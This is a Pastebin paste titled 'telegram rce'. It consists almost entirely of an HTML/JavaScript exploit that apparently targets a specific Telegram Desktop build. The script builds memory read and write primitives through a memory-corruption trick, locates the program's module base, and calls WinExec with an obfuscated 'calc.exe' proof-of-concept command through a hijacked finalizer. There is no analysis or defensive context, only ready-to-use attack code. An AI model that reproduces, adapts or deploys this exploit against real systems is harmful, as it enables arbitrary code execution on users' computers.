Guest User

telegram rce

a guest
Nov 12th, 2026
907
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 9.80 KB | None | 0 0
  1. <!doctype html>
  2. <html><body><div id="out"></div><script>
  3. const slotReaders = [];
  4. const slotWriters = [];
  5.  
  6. class WidgetResource {
  7. [Symbol.dispose]() {}
  8. }
  9.  
  10. const widgetResource = new WidgetResource();
  11.  
  12. const bitsBuffer = new ArrayBuffer(8);
  13. const bitsU32 = new Uint32Array(bitsBuffer);
  14. const bitsF64 = new Float64Array(bitsBuffer);
  15.  
  16. function u64ToFloat(value) {
  17. bitsU32[0] = Number(value & 0xffffffffn);
  18. bitsU32[1] = Number((value >> 32n) & 0xffffffffn);
  19. return bitsF64[0];
  20. }
  21.  
  22. function stringFromU64(value) {
  23. const bytes = [];
  24. for (let byte = 0; byte < 8; ++byte) {
  25. bytes.push(Number((value >> BigInt(byte * 8)) & 0xffn));
  26. }
  27. return String.fromCharCode(...bytes);
  28. }
  29.  
  30. function u64FromString(value) {
  31. let accumulator = 0n;
  32. for (let byte = 0; byte < 8; ++byte) {
  33. accumulator |= BigInt(value.charCodeAt(byte)) << BigInt(byte * 8);
  34. }
  35. return accumulator;
  36. }
  37.  
  38. class ThemeState {
  39. static {
  40. let x00 = 0, x01 = 1, x02 = 2, x03 = 3;
  41. let x04 = 4, x05 = 5, x06 = 6, x07 = 7;
  42. let x08 = 8, x09 = 9, x10 = 10, x11 = 11;
  43. let x12 = 12, x13 = 13, x14 = 14, x15 = 15;
  44. let x16 = 16, x17 = 17, x18 = 18, x19 = 19;
  45. let x20 = 20, x21 = 21, x22 = 22, x23 = 23;
  46. let x24 = 24, x25 = 25, x26 = 26, x27 = 27;
  47. let x28 = 28, x29 = 29, x30 = 30, x31 = 31;
  48.  
  49. slotReaders[0] = () => x00; slotWriters[0] = value => x00 = value;
  50. slotReaders[1] = () => x01; slotWriters[1] = value => x01 = value;
  51. slotReaders[2] = () => x02; slotWriters[2] = value => x02 = value;
  52. slotReaders[3] = () => x03; slotWriters[3] = value => x03 = value;
  53. slotReaders[4] = () => x04; slotWriters[4] = value => x04 = value;
  54. slotReaders[5] = () => x05; slotWriters[5] = value => x05 = value;
  55. slotReaders[6] = () => x06; slotWriters[6] = value => x06 = value;
  56. slotReaders[7] = () => x07; slotWriters[7] = value => x07 = value;
  57. slotReaders[8] = () => x08; slotWriters[8] = value => x08 = value;
  58. slotReaders[9] = () => x09; slotWriters[9] = value => x09 = value;
  59. slotReaders[10] = () => x10; slotWriters[10] = value => x10 = value;
  60. slotReaders[11] = () => x11; slotWriters[11] = value => x11 = value;
  61. slotReaders[12] = () => x12; slotWriters[12] = value => x12 = value;
  62. slotReaders[13] = () => x13; slotWriters[13] = value => x13 = value;
  63. slotReaders[14] = () => x14; slotWriters[14] = value => x14 = value;
  64. slotReaders[15] = () => x15; slotWriters[15] = value => x15 = value;
  65. slotReaders[16] = () => x16; slotWriters[16] = value => x16 = value;
  66. slotReaders[17] = () => x17; slotWriters[17] = value => x17 = value;
  67. slotReaders[18] = () => x18; slotWriters[18] = value => x18 = value;
  68. slotReaders[19] = () => x19; slotWriters[19] = value => x19 = value;
  69. slotReaders[20] = () => x20; slotWriters[20] = value => x20 = value;
  70. slotReaders[21] = () => x21; slotWriters[21] = value => x21 = value;
  71. slotReaders[22] = () => x22; slotWriters[22] = value => x22 = value;
  72. slotReaders[23] = () => x23; slotWriters[23] = value => x23 = value;
  73. slotReaders[24] = () => x24; slotWriters[24] = value => x24 = value;
  74. slotReaders[25] = () => x25; slotWriters[25] = value => x25 = value;
  75. slotReaders[26] = () => x26; slotWriters[26] = value => x26 = value;
  76. slotReaders[27] = () => x27; slotWriters[27] = value => x27 = value;
  77. slotReaders[28] = () => x28; slotWriters[28] = value => x28 = value;
  78. slotReaders[29] = () => x29; slotWriters[29] = value => x29 = value;
  79. slotReaders[30] = () => x30; slotWriters[30] = value => x30 = value;
  80. slotReaders[31] = () => x31; slotWriters[31] = value => x31 = value;
  81.  
  82. for (await using ignored of [widgetResource]) {}
  83. }
  84. }
  85.  
  86. function frameProbe(writer, fake, dormant) {
  87. let v00 = 0, v01 = 1, v02 = 2, v03 = 3;
  88. let v04 = 4, v05 = 5, v06 = 6, v07 = 7;
  89. let v08 = 8, v09 = 9, v10 = 10, v11 = 11;
  90. let v12 = 12, v13 = 13, v14 = 14, v15 = 15;
  91. let v16 = 16, v17 = 17, v18 = 18, v19 = 19;
  92. let v20 = 20, v21 = 21, v22 = 22, v23 = 23;
  93. let v24 = 24, v25 = 25, v26 = 26, v27 = 27;
  94. let v28 = 28, v29 = 29, v30 = 30, v31 = 31;
  95. let v32 = 32, v33 = 33, v34 = 34, v35 = 35;
  96. let v36 = 36, v37 = 37, v38 = 38, v39 = 39;
  97. let v40 = 40, v41 = 41, v42 = 42, v43 = 43;
  98. let v44 = 44, v45 = 45, v46 = 46, v47 = 47;
  99. let v48 = 48, v49 = 49, v50 = 50, v51 = 51;
  100. let v52 = 52, v53 = 53, v54 = 54, v55 = 55;
  101. let v56 = 56, v57 = 57, v58 = 58, v59 = 59;
  102. let v60 = 60, v61 = 61, v62 = 62, v63 = 63;
  103.  
  104. if (dormant) {
  105. return () => [
  106. v00, v01, v02, v03, v04, v05, v06, v07,
  107. v08, v09, v10, v11, v12, v13, v14, v15,
  108. v16, v17, v18, v19, v20, v21, v22, v23,
  109. v24, v25, v26, v27, v28, v29, v30, v31,
  110. v32, v33, v34, v35, v36, v37, v38, v39,
  111. v40, v41, v42, v43, v44, v45, v46, v47,
  112. v48, v49, v50, v51, v52, v53, v54, v55,
  113. v56, v57, v58, v59, v60, v61, v62, v63,
  114. ];
  115. }
  116.  
  117. writer(fake);
  118. const get = () => v00;
  119. const set = value => v00 = value;
  120. writer(0);
  121. return [get, set];
  122. }
  123.  
  124. function runFrameProbe(writer, fake) {
  125. return frameProbe(writer, fake, false);
  126. }
  127.  
  128. const carrier = "A".repeat(4096);
  129. const carrierSlice = carrier.slice(1, 4095);
  130. const pointerCarrier = "B".repeat(4096);
  131. const pointerCarrierSlice = pointerCarrier.slice(1, 4095);
  132. const ropeSeed = "R".repeat(9000) + pointerCarrierSlice;
  133. const retained = [];
  134. for (let slotIndex = 0; slotIndex < slotWriters.length; ++slotIndex) {
  135. try {
  136. const handle = runFrameProbe(slotWriters[slotIndex], carrierSlice);
  137. retained.push(handle);
  138. handle[1](4096);
  139. handle[0]();
  140. handle[1](0x100000);
  141. if (carrier.length !== 0x100000) continue;
  142.  
  143. const ropePair = runFrameProbe(slotWriters[slotIndex], ropeSeed);
  144. retained.push(ropePair);
  145. ropePair[1](64);
  146. let carrierAddress = 0n;
  147. for (let byte = 0; byte < 8; ++byte) {
  148. carrierAddress |= BigInt(pointerCarrierSlice.charCodeAt(byte)) << BigInt(byte * 8);
  149. }
  150.  
  151. const targetData = carrierAddress + 24n;
  152. const addressBytes = [];
  153. for (let byte = 0; byte < 8; ++byte) {
  154. addressBytes.push(Number((targetData >> BigInt(byte * 8)) & 0xffn));
  155. }
  156. const targetString = String.fromCharCode(...addressBytes);
  157. const rwHandle = runFrameProbe(slotWriters[slotIndex], targetString);
  158. retained.push(rwHandle, targetString);
  159. rwHandle[1](0x12345678);
  160. const readBack = rwHandle[0]();
  161.  
  162. function leakValue(value) {
  163. rwHandle[1](value);
  164. const address = u64FromString(pointerCarrier);
  165. rwHandle[1](0);
  166. return address;
  167. }
  168.  
  169. const byteView = new Uint8Array(8);
  170. const byteViewObject = leakValue(byteView);
  171. const viewControlData = stringFromU64(byteViewObject + 56n);
  172. const viewControl = runFrameProbe(slotWriters[slotIndex], viewControlData);
  173. retained.push(byteView, viewControlData, viewControl);
  174.  
  175. function retarget(address) {
  176. viewControl[1](u64ToFloat(address));
  177. }
  178.  
  179. function readU32(address) {
  180. retarget(address);
  181. return (byteView[0] | (byteView[1] << 8) |
  182. (byteView[2] << 16) | (byteView[3] << 24)) >>> 0;
  183. }
  184.  
  185. function readU64(address) {
  186. retarget(address);
  187. let value = 0n;
  188. for (let byte = 0; byte < 8; ++byte) {
  189. value |= BigInt(byteView[byte]) << BigInt(byte * 8);
  190. }
  191. return value;
  192. }
  193.  
  194. retarget(targetData);
  195. const markerBytes = [0x88, 0x77, 0x66, 0x55, 0x44, 0x33, 0x22, 0x11];
  196. for (let byte = 0; byte < 8; ++byte) byteView[byte] = markerBytes[byte];
  197. const writeBack = readU64(targetData);
  198.  
  199. const nativeString = leakValue(String.fromCharCode);
  200. const nativeAddress = readU64(nativeString + 56n);
  201. let moduleBase = nativeAddress & ~0xffffn;
  202. let foundModule = false;
  203. for (let page = 0; page < 4096; ++page, moduleBase -= 0x10000n) {
  204. if ((readU32(moduleBase) & 0xffff) !== 0x5a4d) continue;
  205. const peOffset = BigInt(readU32(moduleBase + 0x3cn));
  206. if (peOffset < 0x1000n && readU32(moduleBase + peOffset) === 0x4550) {
  207. foundModule = true;
  208. break;
  209. }
  210. }
  211. if (!foundModule) throw new Error("module base not found");
  212.  
  213. const ntOffset = BigInt(readU32(moduleBase + 0x3cn));
  214. const imageSize = readU32(moduleBase + ntOffset + 0x50n);
  215. const winExecCall = readU32(moduleBase + 0x29a72b5n);
  216. if (imageSize !== 0x0fb05000 || (winExecCall & 0xffff) !== 0x15ff)
  217. throw new Error("unexpected Telegram Desktop image");
  218.  
  219. function writeBytes(address, bytes) {
  220. retarget(address);
  221. for (let byte = 0; byte < bytes.length; ++byte) {
  222. byteView[byte] = bytes[byte];
  223. }
  224. }
  225.  
  226. function writeU64(address, value) {
  227. const bytes = [];
  228. for (let byte = 0; byte < 8; ++byte) {
  229. bytes.push(Number((value >> BigInt(byte * 8)) & 0xffn));
  230. }
  231. writeBytes(address, bytes);
  232. }
  233.  
  234. const command = String.fromCharCode(99, 97, 108, 99, 46, 101, 120, 101, 0);
  235. const commandString = leakValue(command);
  236. const commandData = commandString + 24n;
  237.  
  238. const recordSeed = [0, 0, 0, 0];
  239. retained.push(command, recordSeed);
  240. const donorAddress = leakValue(recordSeed);
  241. const recordData = readU64(donorAddress + 56n);
  242. writeU64(donorAddress + 56n, 0n);
  243. writeU64(donorAddress + 64n, 0n);
  244.  
  245. const winExecSlot = readU64(moduleBase + 0x715c108n);
  246. if (winExecSlot < 0x10000n) throw new Error("WinExec import not resolved");
  247. writeU64(recordData + 0n, 0n);
  248. writeU64(recordData + 8n, 0n);
  249. writeU64(recordData + 16n, commandData);
  250. writeU64(recordData + 24n, winExecSlot);
  251.  
  252. let finalizerCarrier = Object.create(null);
  253. const carrierData = leakValue(finalizerCarrier);
  254. writeBytes(carrierData + 18n, [16, 0]);
  255. writeU64(carrierData + 48n, recordData);
  256.  
  257. finalizerCarrier = null;
  258.  
  259. break;
  260. } catch (error) {}
  261. }
  262.  
  263. </script></body></html>
Advertisement
Add Comment
Please, Sign In to add comment